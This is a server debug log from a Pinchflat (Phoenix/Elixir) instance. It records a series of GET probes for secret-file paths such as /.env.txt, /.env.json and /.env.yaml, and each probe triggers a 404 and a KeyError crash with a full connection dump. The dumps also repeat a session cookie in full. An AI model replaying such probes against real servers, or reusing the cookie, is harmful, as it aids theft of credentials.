path: "/.env_copy", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tai (truncated) 02:10:09.250 [info] GET /.env.txt 02:10:09.251 [debug] QUERY OK source="settings" db=0.2ms idle=309.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.251 [debug] QUERY OK source="settings" db=0.1ms idle=261.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.251 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.251 [error] #PID<0.3338.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 34) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3338.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6Ldw0ijEyRwAAQhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.txt", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 34, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchf (truncated) 02:10:09.393 [info] GET /.env.json 02:10:09.394 [debug] QUERY OK source="settings" db=0.2ms idle=404.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.394 [debug] QUERY OK source="settings" db=0.1ms idle=280.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.394 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.395 [error] #PID<0.3339.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 35) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3339.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6L_3B52ScicAAQiB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 35, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "p (truncated) 02:10:09.517 [info] GET /.env.yaml 02:10:09.518 [debug] QUERY OK source="settings" db=0.4ms idle=403.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.518 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=266.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.518 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.519 [error] #PID<0.3340.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 36) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3340.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6MdNqAhedtAAAQjB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 36, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "p (truncated) 02:10:09.612 [info] GET /.env.yml 02:10:09.613 [debug] QUERY OK source="settings" db=0.2ms idle=361.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.613 [debug] QUERY OK source="settings" db=0.1ms idle=218.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.613 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.614 [error] #PID<0.3341.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 37) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.yml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => 